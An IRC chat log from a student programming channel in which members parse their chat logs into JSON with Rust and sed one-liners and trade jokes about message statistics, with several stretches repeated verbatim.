[2015-03-25T11:59:09-0400] <jwoglom> Holo? Fuck you're old
[2015-03-25T11:59:40-0400] <fwilson> that's dank
[2015-03-25T12:01:04-0400] <+awe> uwotm8
[2015-03-25T12:01:29-0400] <+awe> Okay, I've got ZNC log parsing down without regex.
[2015-03-25T12:01:48-0400] <+awe> I could improve parsing a little bit by actually parsing timestamps into something more meaningful than a string, but this will suffice for now.
[2015-03-25T12:08:56-0400] <+awe> http://sprunge.us/cSJS
[2015-03-25T12:08:59-0400] <+awe> Results!
[2015-03-25T12:09:30-0400] <+awe> This seems wrong though because it doesn't include a lot of nicknames.
[2015-03-25T12:09:42-0400] <+awe> So, I'm not sure what's breaking.
[2015-03-25T12:11:29-0400] <+awe> This puts me as having sent many more messages than JacobEdelman though.
[2015-03-25T12:18:32-0400] <JacobEdelman> awe: i've got parsing almost done with sed
[2015-03-25T12:18:39-0400] <JacobEdelman> I need to figure out hwo to add commas between lines
[2015-03-25T12:20:02-0400] <+awe> JacobEdelman: uwotm8?
[2015-03-25T12:22:41-0400] <JacobEdelman> echo "[" (grep -E '\[([^]]*)\] <([^>]*)> (.*)' * | sed -r 's/"/\\\\"/'| sed -r 's/\[([^]]*)\] <([^>]*)> (.*)/{"time":"\\1","name":"\\2","text": "\\3"},/') "]"| sed -r 's/,]$/]/'>logs2.txt
[2015-03-25T12:23:06-0400] <JacobEdelman> thats for the fish command line, btu should work in bash I think if you add $ before the parentheses
[2015-03-25T12:23:18-0400] <JacobEdelman> it outputs json
[2015-03-25T12:23:28-0400] <JacobEdelman> oh wait, I should make it pipe to logs.json at the end
[2015-03-25T12:23:55-0400] <+awe> .-.
[2015-03-25T12:23:59-0400] <JacobEdelman> ?
[2015-03-25T12:24:03-0400] <JacobEdelman> isn't it awesome
[2015-03-25T12:24:06-0400] <JacobEdelman> sed for the win
[2015-03-25T12:24:17-0400] <+awe> No, it's very much not awesome.
[2015-03-25T12:24:17-0400] <JacobEdelman> and a bit of grep, just to remove the useless files
[2015-03-25T12:24:22-0400] <JacobEdelman> *lines
[2015-03-25T12:25:13-0400] <+awe> I'm really confused as to why this doesn't include everyone...
[2015-03-25T12:25:17-0400] <JacobEdelman> ?
[2015-03-25T12:25:23-0400] <JacobEdelman> mine is a bit broken I'm fixing it now
[2015-03-25T12:25:26-0400] <+awe> For example, awebot is in some of the logs, but isn't in the results from my program.
[2015-03-25T12:25:31-0400] <JacobEdelman> well, try mine
[2015-03-25T12:25:40-0400] <+awe> No?
[2015-03-25T12:25:43-0400] <JacobEdelman> ahhh
[2015-03-25T12:26:12-0400] <JacobEdelman> mine is amazing
[2015-03-25T12:26:48-0400] <+awe> I don't really care?
[2015-03-25T12:26:52-0400] <JacobEdelman> its json
[2015-03-25T12:26:55-0400] <JacobEdelman> with sed
[2015-03-25T12:26:57-0400] <JacobEdelman> I can use sed
[2015-03-25T12:27:01-0400] <JacobEdelman> I'm so happy
[2015-03-25T12:27:03-0400] <JacobEdelman> sed is good
[2015-03-25T12:27:10-0400] <JacobEdelman> regexes are cool
[2015-03-25T12:27:26-0400] <JacobEdelman> although the best way to do this would be too use nearley
[2015-03-25T12:28:26-0400] <Hyper> JacobEdelman: goddammit why do we even let you near regex
[2015-03-25T12:28:36-0400] <JacobEdelman> echo "[" (cat *|grep -E '\[([^]]*)\] <([^>]*)> (.*)' | sed -r 's/"/\\\\"/'| sed -r 's/\[([^]]*)\] <([^>]*)> (.*)/{"time":"\\1","name":"\\2","text": "\\3"},/') "]"| sed -r 's/,]$/]/'>logs.json
[2015-03-25T12:28:47-0400] <Hyper> ffs
[2015-03-25T12:29:07-0400] <JacobEdelman> I mean, the only really bad part is that I repeat the big regex twice cause I don't know how to filter lines that don't match with sed
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[2015-03-25T12:30:06-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-25T11:42:19-0400] <fwilson> sdamashek: i'd probably walk out right there
[2015-03-25T11:42:26-0400] <sdamashek> lol
[2015-03-25T11:42:34-0400] <sdamashek> triggered
[2015-03-25T11:42:56-0400] <fwilson> kek
[2015-03-25T11:58:25-0400] <jwoglom> fwilson: #materialyolo
[2015-03-25T11:58:31-0400] <fwilson> #holoduarte
[2015-03-25T11:59:09-0400] <jwoglom> Holo? Fuck you're old
[2015-03-25T11:59:40-0400] <fwilson> that's dank
[2015-03-25T12:01:04-0400] <+awe> uwotm8
[2015-03-25T12:01:29-0400] <+awe> Okay, I've got ZNC log parsing down without regex.
[2015-03-25T12:01:48-0400] <+awe> I could improve parsing a little bit by actually parsing timestamps into something more meaningful than a string, but this will suffice for now.
[2015-03-25T12:08:56-0400] <+awe> http://sprunge.us/cSJS
[2015-03-25T12:08:59-0400] <+awe> Results!
[2015-03-25T12:09:30-0400] <+awe> This seems wrong though because it doesn't include a lot of nicknames.
[2015-03-25T12:09:42-0400] <+awe> So, I'm not sure what's breaking.
[2015-03-25T12:11:29-0400] <+awe> This puts me as having sent many more messages than JacobEdelman though.
[2015-03-25T12:18:32-0400] <JacobEdelman> awe: i've got parsing almost done with sed
[2015-03-25T12:18:39-0400] <JacobEdelman> I need to figure out hwo to add commas between lines
[2015-03-25T12:20:02-0400] <+awe> JacobEdelman: uwotm8?
[2015-03-25T12:22:41-0400] <JacobEdelman> echo "[" (grep -E '\[([^]]*)\] <([^>]*)> (.*)' * | sed -r 's/"/\\\\"/'| sed -r 's/\[([^]]*)\] <([^>]*)> (.*)/{"time":"\\1","name":"\\2","text": "\\3"},/') "]"| sed -r 's/,]$/]/'>logs2.txt
[2015-03-25T12:23:06-0400] <JacobEdelman> thats for the fish command line, btu should work in bash I think if you add $ before the parentheses
[2015-03-25T12:23:18-0400] <JacobEdelman> it outputs json
[2015-03-25T12:23:28-0400] <JacobEdelman> oh wait, I should make it pipe to logs.json at the end
[2015-03-25T12:23:55-0400] <+awe> .-.
[2015-03-25T12:23:59-0400] <JacobEdelman> ?
[2015-03-25T12:24:03-0400] <JacobEdelman> isn't it awesome
[2015-03-25T12:24:06-0400] <JacobEdelman> sed for the win
[2015-03-25T12:24:17-0400] <+awe> No, it's very much not awesome.
[2015-03-25T12:24:17-0400] <JacobEdelman> and a bit of grep, just to remove the useless files
[2015-03-25T12:24:22-0400] <JacobEdelman> *lines
[2015-03-25T12:25:13-0400] <+awe> I'm really confused as to why this doesn't include everyone...
[2015-03-25T12:25:17-0400] <JacobEdelman> ?
[2015-03-25T12:25:23-0400] <JacobEdelman> mine is a bit broken I'm fixing it now
[2015-03-25T12:25:26-0400] <+awe> For example, awebot is in some of the logs, but isn't in the results from my program.
[2015-03-25T12:25:31-0400] <JacobEdelman> well, try mine
[2015-03-25T12:25:40-0400] <+awe> No?
[2015-03-25T12:25:43-0400] <JacobEdelman> ahhh
[2015-03-25T12:26:12-0400] <JacobEdelman> mine is amazing
[2015-03-25T12:26:48-0400] <+awe> I don't really care?
[2015-03-25T12:26:52-0400] <JacobEdelman> its json
[2015-03-25T12:26:55-0400] <JacobEdelman> with sed
[2015-03-25T12:26:57-0400] <JacobEdelman> I can use sed
[2015-03-25T12:27:01-0400] <JacobEdelman> I'm so happy
[2015-03-25T12:27:03-0400] <JacobEdelman> sed is good
[2015-03-25T12:27:10-0400] <JacobEdelman> regexes are cool
[2015-03-25T12:27:26-0400] <JacobEdelman> although the best way to do this would be too use nearley
[2015-03-25T12:28:26-0400] <Hyper> JacobEdelman: goddammit why do we even let you near regex
[2015-03-25T12:28:36-0400] <JacobEdelman> echo "[" (cat *|grep -E '\[([^]]*)\] <([^>]*)> (.*)' | sed -r 's/"/\\\\"/'| sed -r 's/\[([^]]*)\] <([^>]*)> (.*)/{"time":"\\1","name":"\\2","text": "\\3"},/') "]"| sed -r 's/,]$/]/'>logs.json
[2015-03-25T12:28:47-0400] <Hyper> ffs
[2015-03-25T12:29:07-0400] <JacobEdelman> I mean, the only really bad part is that I repeat the big regex twice cause I don't know how to filter lines that don't match with sed
[2015-03-25T12:30:06-0400] Mode is +nt
[2015-03-25T12:30:28-0400] <JacobEdelman> well, that and the exponetial size increase if you run it multiple times
[2015-03-25T12:30:31-0400] <JacobEdelman> thats a problem...
[2015-03-25T12:31:00-0400] <Hyper> JacobEdelman: you scare me in general man
[2015-03-25T12:31:24-0400] <JacobEdelman> :)
[2015-03-25T12:31:34-0400] <Hyper> can we institute a restraining order between JacobEdelman and regex?
[2015-03-25T12:31:40-0400] <Hyper> because I think the world needs that
[2015-03-25T12:31:41-0400] <JacobEdelman> lol
[2015-03-25T12:31:49-0400] <JacobEdelman> you should have seen wordyscript
[2015-03-25T12:31:53-0400] <jwoglom> dude are you like the regex master or something
[2015-03-25T12:31:56-0400] <JacobEdelman> it was a dilect of python
[2015-03-25T12:32:05-0400] <JacobEdelman> that used regexes to convert to python
[2015-03-25T12:32:42-0400] <Hyper> pls no
[2015-03-25T12:34:38-0400] <+awe> http://sprunge.us/hGXc?rust
[2015-03-25T12:34:41-0400] <+awe> I don't even.
[2015-03-25T12:34:53-0400] <+awe> There's no reason this shouldn't get everything?
[2015-03-25T12:36:19-0400] <+awe> I had it print paths, and it hits every log file.
[2015-03-25T12:36:29-0400] <Hyper> awe: 3muchcode5me
[2015-03-25T12:40:23-0400] <+awe> "stream did not contain valid UTF-8"
[2015-03-25T12:40:24-0400] <+awe> Ah.
[2015-03-25T12:40:29-0400] <+awe> That's why.
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[2015-03-25T12:48:04-0400] <+awe> Nope. That's not why.
[2015-03-25T12:53:31-0400] <+awe> [18:14:16] <JacobEdelman> note to self: a programming language named pho would be cool
[2015-03-25T12:53:34-0400] <+awe> JacobEdelman: pho is a vietnamese noodle dish.
[2015-03-25T12:54:44-0400] <+awe> Is this legitimate? I have fifteen minutes left in my math class, and he's spent the entire time going over a single problem.
[2015-03-25T12:54:58-0400] <Hyper> awe: sounds legit :P
[2015-03-25T12:56:29-0400] <+awe> It's literally just finding the critical values of a function bounded by a triangular region.
[2015-03-25T12:56:52-0400] <+awe> So, basically, check critical points of function, oh, they're out of the region, move on to boundary.
[2015-03-25T12:56:53-0400] <Hyper> awe: perhaps it's very important conceptually and he wants to make sure everyone gets it?
[2015-03-25T12:57:03-0400] <+awe> Do some lagrange multipliers and then boom. 
[2015-03-25T12:57:22-0400] <Hyper> awe: see previous comment
[2015-03-25T12:57:29-0400] <+awe> We already spent a few days going over though.
[2015-03-25T12:57:34-0400] <+awe> lagrange multipliers*
[2015-03-25T12:57:57-0400] <+awe> Two days, I think.
[2015-03-25T12:58:06-0400] <+awe> So, it seems a little silly to spend so much time on this one function.
[2015-03-25T12:58:11-0400] <+awe> Well, one problem rather.
[2015-03-25T12:59:58-0400] <+awe> Meanwhile, I still can't figure out why my log stuff isn't finding out about everyone.
[2015-03-25T13:01:51-0400] <+awe> Ah, I think I have an idea why.
[2015-03-25T13:04:03-0400] <+awe> Okay, I fixed it.
[2015-03-25T13:04:11-0400] <+awe> BufReader does not work properly on files.
[2015-03-25T13:04:32-0400] <+awe> Actual results: http://sprunge.us/YbTP
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[2015-03-25T17:03:28-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-25T16:01:36-0400] <sdamashek> ban evade
[2015-03-25T16:01:56-0400] <z3t> the first ban wasn't justified
[2015-03-25T16:01:59-0400] <JacobEdelman> that takes the pdgn logs and turns them into json
[2015-03-25T16:01:59-0400] <jwoglom> JacobEdelman: so that makes a json object of what exactly?
[2015-03-25T16:02:10-0400] <JacobEdelman> awe's pdgn logs
[2015-03-25T16:02:15-0400] <jwoglom> [Date, user, msg] or something?
[2015-03-25T16:02:20-0400] <JacobEdelman> yup
[2015-03-25T16:02:35-0400] <sdamashek> z3t: yes it was, all you were doing was trolling
[2015-03-25T16:02:48-0400] <jwoglom> Oh cool. Didn't even look at the regex, just guessed :P
[2015-03-25T16:02:57-0400] <JacobEdelman> most of it is doing text escaping, and interjecting commas
[2015-03-25T16:03:02-0400] <jwoglom> Yeah z3t you were pretty obviously trolling
[2015-03-25T16:03:02-0400] <JacobEdelman> jwoglom: lol
[2015-03-25T16:03:22-0400] <jwoglom> Oh it actually says time name and text. Lol
[2015-03-25T16:03:38-0400] <z3t> I was collecting data.
[2015-03-25T16:04:00-0400] <z3t> This is why you didn't win the science fair sdamashek.
[2015-03-25T16:05:27-0400] <jwoglom> z3t: did you win the science fair?!?!
[2015-03-25T16:05:47-0400] <z3t> No sir, as I did not participate.
[2015-03-25T16:05:55-0400] <jwoglom> Well neither did I.
[2015-03-25T16:06:02-0400] <z3t> But sdamashek did.
[2015-03-25T16:09:06-0400] <grantwu> regex isn't for turning things into json...
[2015-03-25T16:21:18-0400] <JacobEdelman> it is now
[2015-03-25T16:25:20-0400] <z3t> very innovative
[2015-03-25T16:52:28-0400] <JacobEdelman> wait
[2015-03-25T16:52:33-0400] <JacobEdelman> awe by my count
[2015-03-25T16:52:43-0400] <JacobEdelman> you spoke more than twice as much as me
[2015-03-25T16:54:47-0400] <JacobEdelman> MrSaints, ajvpot, and zrl all speak very little
[2015-03-25T16:55:20-0400] <zrl> that is true
[2015-03-25T16:55:31-0400] <JacobEdelman> zrl: you should fix that
[2015-03-25T16:55:44-0400] <zrl> busy :-/
[2015-03-25T16:55:54-0400] <JacobEdelman> stop being busy
[2015-03-25T16:56:00-0400] <JacobEdelman> heres a good time mangement stratagy
[2015-03-25T16:56:15-0400] <JacobEdelman> take any documents you have about important things
[2015-03-25T16:56:22-0400] <JacobEdelman> (classes, organization, projects)
[2015-03-25T16:56:29-0400] <JacobEdelman> take them all together
[2015-03-25T16:56:34-0400] <JacobEdelman> organize them by priority
[2015-03-25T16:56:44-0400] <JacobEdelman> and burn the whole pile
[2015-03-25T16:56:57-0400] <JacobEdelman> and, wala, no more work
[2015-03-25T16:57:39-0400] <z3t> i don't think it works like that
[2015-03-25T16:57:46-0400] <JacobEdelman> yes, yes it does
[2015-03-25T16:58:02-0400] <JacobEdelman> also, why do major hshacker people keep disappearing
[2015-03-25T16:58:05-0400] <JacobEdelman> first jaymo
[2015-03-25T16:58:09-0400] <JacobEdelman> then victor
[2015-03-25T16:58:18-0400] <JacobEdelman> for two supposedly seperate reasons
[2015-03-25T16:58:27-0400] <JacobEdelman> I think someone has been killing off hshackers
[2015-03-25T16:58:38-0400] <z3t> no they're feds
[2015-03-25T16:59:12-0400] <JacobEdelman> the feds have been killing them off?
[2015-03-25T16:59:14-0400] <JacobEdelman> ohhh
[2015-03-25T16:59:16-0400] <JacobEdelman> they are feds
[2015-03-25T16:59:22-0400] <JacobEdelman> hmmm... that makes sense
[2015-03-25T17:00:00-0400] <JacobEdelman> well, I better go to them and offer to turn you all in
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[2015-03-25T17:04:02-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-25T16:01:36-0400] <sdamashek> ban evade
[2015-03-25T16:01:56-0400] <z3t> the first ban wasn't justified
[2015-03-25T16:01:59-0400] <JacobEdelman> that takes the pdgn logs and turns them into json
[2015-03-25T16:01:59-0400] <jwoglom> JacobEdelman: so that makes a json object of what exactly?
[2015-03-25T16:02:10-0400] <JacobEdelman> awe's pdgn logs
[2015-03-25T16:02:15-0400] <jwoglom> [Date, user, msg] or something?
[2015-03-25T16:02:20-0400] <JacobEdelman> yup
[2015-03-25T16:02:35-0400] <sdamashek> z3t: yes it was, all you were doing was trolling
[2015-03-25T16:02:48-0400] <jwoglom> Oh cool. Didn't even look at the regex, just guessed :P
[2015-03-25T16:02:57-0400] <JacobEdelman> most of it is doing text escaping, and interjecting commas
[2015-03-25T16:03:02-0400] <jwoglom> Yeah z3t you were pretty obviously trolling
[2015-03-25T16:03:02-0400] <JacobEdelman> jwoglom: lol
[2015-03-25T16:03:22-0400] <jwoglom> Oh it actually says time name and text. Lol
[2015-03-25T16:03:38-0400] <z3t> I was collecting data.
[2015-03-25T16:04:00-0400] <z3t> This is why you didn't win the science fair sdamashek.
[2015-03-25T16:05:27-0400] <jwoglom> z3t: did you win the science fair?!?!
[2015-03-25T16:05:47-0400] <z3t> No sir, as I did not participate.
[2015-03-25T16:05:55-0400] <jwoglom> Well neither did I.
[2015-03-25T16:06:02-0400] <z3t> But sdamashek did.
[2015-03-25T16:09:06-0400] <grantwu> regex isn't for turning things into json...
[2015-03-25T16:21:18-0400] <JacobEdelman> it is now
[2015-03-25T16:25:20-0400] <z3t> very innovative
[2015-03-25T16:52:28-0400] <JacobEdelman> wait
[2015-03-25T16:52:33-0400] <JacobEdelman> awe by my count
[2015-03-25T16:52:43-0400] <JacobEdelman> you spoke more than twice as much as me
[2015-03-25T16:54:47-0400] <JacobEdelman> MrSaints, ajvpot, and zrl all speak very little
[2015-03-25T16:55:20-0400] <zrl> that is true
[2015-03-25T16:55:31-0400] <JacobEdelman> zrl: you should fix that
[2015-03-25T16:55:44-0400] <zrl> busy :-/
[2015-03-25T16:55:54-0400] <JacobEdelman> stop being busy
[2015-03-25T16:56:00-0400] <JacobEdelman> heres a good time mangement stratagy
[2015-03-25T16:56:15-0400] <JacobEdelman> take any documents you have about important things
[2015-03-25T16:56:22-0400] <JacobEdelman> (classes, organization, projects)
[2015-03-25T16:56:29-0400] <JacobEdelman> take them all together
[2015-03-25T16:56:34-0400] <JacobEdelman> organize them by priority
[2015-03-25T16:56:44-0400] <JacobEdelman> and burn the whole pile
[2015-03-25T16:56:57-0400] <JacobEdelman> and, wala, no more work
[2015-03-25T16:57:39-0400] <z3t> i don't think it works like that
[2015-03-25T16:57:46-0400] <JacobEdelman> yes, yes it does
[2015-03-25T16:58:02-0400] <JacobEdelman> also, why do major hshacker people keep disappearing
[2015-03-25T16:58:05-0400] <JacobEdelman> first jaymo
[2015-03-25T16:58:09-0400] <JacobEdelman> then victor
[2015-03-25T16:58:18-0400] <JacobEdelman> for two supposedly seperate reasons
[2015-03-25T16:58:27-0400] <JacobEdelman> I think someone has been killing off hshackers
[2015-03-25T16:58:38-0400] <z3t> no they're feds
[2015-03-25T16:59:12-0400] <JacobEdelman> the feds have been killing them off?
[2015-03-25T16:59:14-0400] <JacobEdelman> ohhh
[2015-03-25T16:59:16-0400] <JacobEdelman> they are feds
[2015-03-25T16:59:22-0400] <JacobEdelman> hmmm... that makes sense
[2015-03-25T17:00:00-0400] <JacobEdelman> well, I better go to them and offer to turn you all in
[2015-03-25T17:04:03-0400] Mode is +nt
[2015-03-25T17:04:04-0400] <+awe> z3t: you're right, they're definitely feds.
[2015-03-25T17:04:24-0400] <jwoglom> *undercover feds
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[2015-03-25T17:08:02-0400] <JacobEdelman> so who
[2015-03-25T17:08:15-0400] <JacobEdelman> of the people who have said more then 60 things in awe's logs
[2015-03-25T17:08:33-0400] <JacobEdelman> has the highest mention to spoken lines ratio?
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[2015-03-25T17:11:26-0400] Topic is PdgnCo: http://pdgn.co/ | QuoteDB: http://backtick.town/~kc/qdb.txt | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-03-25T17:11:26-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-25T16:09:06-0400] <grantwu> regex isn't for turning things into json...
[2015-03-25T16:21:18-0400] <JacobEdelman> it is now
[2015-03-25T16:25:20-0400] <z3t> very innovative
[2015-03-25T16:52:28-0400] <JacobEdelman> wait
[2015-03-25T16:52:33-0400] <JacobEdelman> awe by my count
[2015-03-25T16:52:43-0400] <JacobEdelman> you spoke more than twice as much as me
[2015-03-25T16:54:47-0400] <JacobEdelman> MrSaints, ajvpot, and zrl all speak very little
[2015-03-25T16:55:20-0400] <zrl> that is true
[2015-03-25T16:55:31-0400] <JacobEdelman> zrl: you should fix that
[2015-03-25T16:55:44-0400] <zrl> busy :-/
[2015-03-25T16:55:54-0400] <JacobEdelman> stop being busy
[2015-03-25T16:56:00-0400] <JacobEdelman> heres a good time mangement stratagy
[2015-03-25T16:56:15-0400] <JacobEdelman> take any documents you have about important things
[2015-03-25T16:56:22-0400] <JacobEdelman> (classes, organization, projects)
[2015-03-25T16:56:29-0400] <JacobEdelman> take them all together
[2015-03-25T16:56:34-0400] <JacobEdelman> organize them by priority
[2015-03-25T16:56:44-0400] <JacobEdelman> and burn the whole pile
[2015-03-25T16:56:57-0400] <JacobEdelman> and, wala, no more work
[2015-03-25T16:57:39-0400] <z3t> i don't think it works like that
[2015-03-25T16:57:46-0400] <JacobEdelman> yes, yes it does
[2015-03-25T16:58:02-0400] <JacobEdelman> also, why do major hshacker people keep disappearing
[2015-03-25T16:58:05-0400] <JacobEdelman> first jaymo
[2015-03-25T16:58:09-0400] <JacobEdelman> then victor
[2015-03-25T16:58:18-0400] <JacobEdelman> for two supposedly seperate reasons
[2015-03-25T16:58:27-0400] <JacobEdelman> I think someone has been killing off hshackers
[2015-03-25T16:58:38-0400] <z3t> no they're feds
[2015-03-25T16:59:12-0400] <JacobEdelman> the feds have been killing them off?
[2015-03-25T16:59:14-0400] <JacobEdelman> ohhh
[2015-03-25T16:59:16-0400] <JacobEdelman> they are feds
[2015-03-25T16:59:22-0400] <JacobEdelman> hmmm... that makes sense
[2015-03-25T17:00:00-0400] <JacobEdelman> well, I better go to them and offer to turn you all in
[2015-03-25T17:04:04-0400] <+awe> z3t: you're right, they're definitely feds.
[2015-03-25T17:04:24-0400] <jwoglom> *undercover feds
[2015-03-25T17:08:02-0400] <JacobEdelman> so who
[2015-03-25T17:08:15-0400] <JacobEdelman> of the people who have said more then 60 things in awe's logs
[2015-03-25T17:08:33-0400] <JacobEdelman> has the highest mention to spoken lines ratio?
[2015-03-25T17:08:49-0400] <JacobEdelman> the first two are cheaters
[2015-03-25T17:08:52-0400] <JacobEdelman> Tam and Tub
[2015-03-25T17:08:58-0400] <JacobEdelman> Tub was a short term irc bot
[2015-03-25T17:09:00-0400] <JacobEdelman> that failed
[2015-03-25T17:09:09-0400] <JacobEdelman> and Tam is also a cheater
[2015-03-25T17:09:15-0400] <JacobEdelman> after that its the first legit one
[2015-03-25T17:09:16-0400] <JacobEdelman> apothy
[2015-03-25T17:09:22-0400] <JacobEdelman> than comes.... drum rolll....
[2015-03-25T17:09:22-0400] <JacobEdelman> zrl
[2015-03-25T17:09:49-0400] <JacobEdelman> awe is above me, but barly
[2015-03-25T17:10:01-0400] <JacobEdelman> (by ~0.0009)
[2015-03-25T17:10:34-0400] <z3t> JacobEdelman if you did that in the TJ channel you'd be banned
[2015-03-25T17:10:41-0400] <z3t> they don't like data collection
[2015-03-25T17:10:59-0400] <z3t> (and analysis)
[2015-03-25T17:11:27-0400] Mode is +nt
[2015-03-25T17:11:59-0400] <+awe> z3t: really?
[2015-03-25T17:12:01-0400] <jwoglom> https://morbo.wogloms.com/~james/pisg/pdgn/pdgn.html
[2015-03-25T17:12:08-0400] <+awe> I'm such a data geek.
[2015-03-25T17:12:11-0400] <jwoglom> z3t: they didn't like you trolling, that is all
[2015-03-25T17:12:48-0400] <jwoglom> "jwoglom brings happiness to the world. 10.0% lines contained smiling faces. :)"
[2015-03-25T17:13:45-0400] <z3t> awe I was conducting a few surveys, and for some reason they saw it as trolling.
[2015-03-25T17:13:54-0400] <+awe> Is ubuntor stupid or just asking too many questions? 16.8% lines contained a question! 
[2015-03-25T17:14:04-0400] <jwoglom> "Are you asian?" "Yes" "Yes"
[2015-03-25T17:14:22-0400] <jwoglom> it's actually kind of funny that you assumed we were all asian
[2015-03-25T17:14:35-0400] <jwoglom> 90% of the channel is comprised of white males
[2015-03-25T17:15:22-0400] <+awe> "awe spoke a total of 152734 words! 
[2015-03-25T17:15:22-0400] <+awe> awe's faithful follower, JacobEdelman, didn't speak so much: 60046 words."
[2015-03-25T17:16:14-0400] <+awe> It's neat how much of a perspective words per line gives on speech patterns.
[2015-03-25T17:16:40-0400] <+awe> Apparently, we use the word exciting a lot, guys.
[2015-03-25T17:16:43-0400] <jwoglom> yeah
[2015-03-25T17:16:50-0400] <z3t> Well jwoglom when the admission statistics hold at about 67% Asian each year, I think anyone could assume that.
[2015-03-25T17:17:05-0400] <+awe> Also, I get mentioned more than twice as much as JacobEdelman.
[2015-03-25T17:17:07-0400] <jwoglom> true
[2015-03-25T17:17:08-0400] <sdamashek> badbot has quite a potty mouth. 3.1% words were foul language.
[2015-03-25T17:17:10-0400] <sdamashek> For example, like this:
[2015-03-25T17:17:12-0400] <sdamashek>      <badbot> fuck you, failedxyz, i hope you die a gruesome death in a hole you asshole 
[2015-03-25T17:17:17-0400] <jwoglom> awe talks to him/herself a lot. He/She wrote over 5 lines in a row 333 times! 
[2015-03-25T17:17:35-0400] <+awe> I usually send one message per sentence.
[2015-03-25T17:17:42-0400] <+awe> So, yeah, it tends to have that effect.
[2015-03-25T17:18:01-0400] <JacobEdelman> I have by far the earliest schedule acording to that
[2015-03-25T17:18:12-0400] <+awe> JacobEdelman wasn't very popular, getting kicked 6 times!
[2015-03-25T17:18:42-0400] <JacobEdelman> lol
[2015-03-25T17:19:08-0400] <+awe> I think the frequency with which we use anything and exciting is surprising.
[2015-03-25T17:19:13-0400] <JacobEdelman> I'm in the top 2 for all sections of the day except for very late when I'm not even in the top 10
[2015-03-25T17:19:17-0400] <+awe> It's said more than think and about.
[2015-03-25T17:19:40-0400] <sdamashek> what's @combine?
[2015-03-25T17:20:10-0400] <+awe> It was the command for hardmath123's alchemy bot.
[2015-03-25T17:20:12-0400] <jwoglom> that was from when we had that bot here. lol
[2015-03-25T17:20:15-0400] <jwoglom> that was fun!
[2015-03-25T17:20:16-0400] <+awe> They spammed it a lot.
[2015-03-25T17:20:28-0400] <jwoglom> didn't someone write a bruteforce script at one point?
[2015-03-25T17:20:29-0400] <sdamashek> oh, I kind of remember that
[2015-03-25T17:20:42-0400] <+awe> jwoglom: Yeah, in fact, you're active in the earliest schedule so much so that you're ahead of me there.
[2015-03-25T17:20:47-0400] <JacobEdelman> hardmath123: the number one most used word on pdgn is  	@combine
[2015-03-25T17:20:52-0400] <+awe> DANGIT. JacobEdelman, not jwoglom.
[2015-03-25T17:21:47-0400] <+awe> I think it's interesting that there was an entire week without me, and I'm still twice as active as JacobEdelman.
[2015-03-25T17:22:04-0400] <jwoglom> well, you talk so much that a week off doesn't really make a noticeable difference :P
[2015-03-25T17:22:20-0400] <JacobEdelman> awe: and I'm more active than everybody else
[2015-03-25T17:22:30-0400] <JacobEdelman> awe: also, I kicked the second largest amount of people
[2015-03-25T17:22:37-0400] <+awe> Except Tamini who's just about as active as you are.
[2015-03-25T17:22:38-0400] <JacobEdelman> probably from my short live deitification
[2015-03-25T17:23:00-0400] <+awe> Yeah, the kicks and ops from you were both from when you took over the channel.
[2015-03-25T17:23:05-0400] <JacobEdelman> awe talks to him/herself a lot. He/She wrote over 5 lines in a row 333 times!
[2015-03-25T17:23:05-0400] <JacobEdelman> Another lonely one was JacobEdelman, who managed to hit 247 times.
[2015-03-25T17:24:16-0400] <jwoglom> fwilson seems to be sad at the moment: 3.1% lines contained sad faces. :( 
[2015-03-25T17:24:19-0400] <jwoglom> LittleBobbyTables is also a sad person, crying 2.8% of the time.
[2015-03-25T17:34:02-0400] <+awe> JacobEdelman: That's not actually me talking to myself though. It's just me breaking sentences up into multiple messages.
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[2015-03-25T17:34:22-0400] <jwoglom> awe: you seem to give pretty in-depth replies to things
[2015-03-25T17:34:41-0400] <+awe> JacobEdelman: And in your case, it's you breaking every other word into a new message.
[2015-03-25T17:34:47-0400] <+awe> jwoglom: Is there a particular reason you say that?
[2015-03-25T17:35:43-0400] <+awe> Oh my. I represent a sixth of all total lines.
[2015-03-25T17:35:44-0400] <jwoglom> awe: compared with other people I talk with on irc, you just seem to say a lot more at once
[2015-03-25T17:35:47-0400] <jwoglom> if that makes any sense
[2015-03-25T17:36:05-0400] <jwoglom> like, you giving a 4-5 line reply to a question someone asks is pretty common
[2015-03-25T17:36:44-0400] <+awe> Yeah, I suppose so. I guess I never really noticed.
[2015-03-25T17:37:35-0400] <jwoglom> ah, reddit.
[2015-03-25T17:37:48-0400] <jwoglom> guy fired from Top Gear, in /r/worldnews.
[2015-03-25T17:37:55-0400] <+awe> Does anybody have any interesting data that they want me to calculate on the logs?
[2015-03-25T17:38:17-0400] <jwoglom> awe: you could run pisg or something like i did :P
[2015-03-25T17:38:22-0400] <jwoglom> how many lines do you have, actually?
[2015-03-25T17:38:34-0400] <jwoglom> i'm curious what percentage I have, since i only joined around december-ish i think?
[2015-03-25T17:39:44-0400] <+awe> 106998 lines dating back to the end of November.
[2015-03-25T17:40:02-0400] <jwoglom> oh, huh, I have 111794
[2015-03-25T17:40:07-0400] <+awe> Does that include join/part lines?
[2015-03-25T17:40:08-0400] <+awe> Mine doesn't.
[2015-03-25T17:40:10-0400] <jwoglom> yes
[2015-03-25T17:40:28-0400] <jwoglom> mine starts 2014-11-20 09:42:50
[2015-03-25T17:40:31-0400] <+awe> Me too.
[2015-03-25T17:40:44-0400] <+awe> Well, earlier in that day.
[2015-03-25T17:40:47-0400] <+awe> [00:11:49] <nezorg> july
[2015-03-25T17:41:01-0400] <+awe> I was using IRCCloud before that.
[2015-03-25T17:42:15-0400] <nezorg> y u ping
[2015-03-25T17:42:23-0400] <+awe> I quoted you with the first quote in my log.
[2015-03-25T17:42:45-0400] <jwoglom> awe: ah ok
[2015-03-25T17:43:00-0400] <nezorg> grumble grumble
[2015-03-25T17:43:02-0400] <z3t> i probably have like....10 lines
[2015-03-25T17:43:04-0400] <+awe> jwoglom: Should I get more data about mention relationships? I know hardmath123 has those neat graphs, but maybe it'd be cool to read numerical data?
[2015-03-25T17:43:16-0400] <jwoglom> awe: i think that'd be interesting to look at
[2015-03-25T17:43:24-0400] <jwoglom> also as much as i liked hardmath123's stuff it was really hard to read
[2015-03-25T17:43:35-0400] <+awe> Yeah, agreed. So, I'll work on that then.
[2015-03-25T17:43:47-0400] <jwoglom> he produced a humongous image, iirc
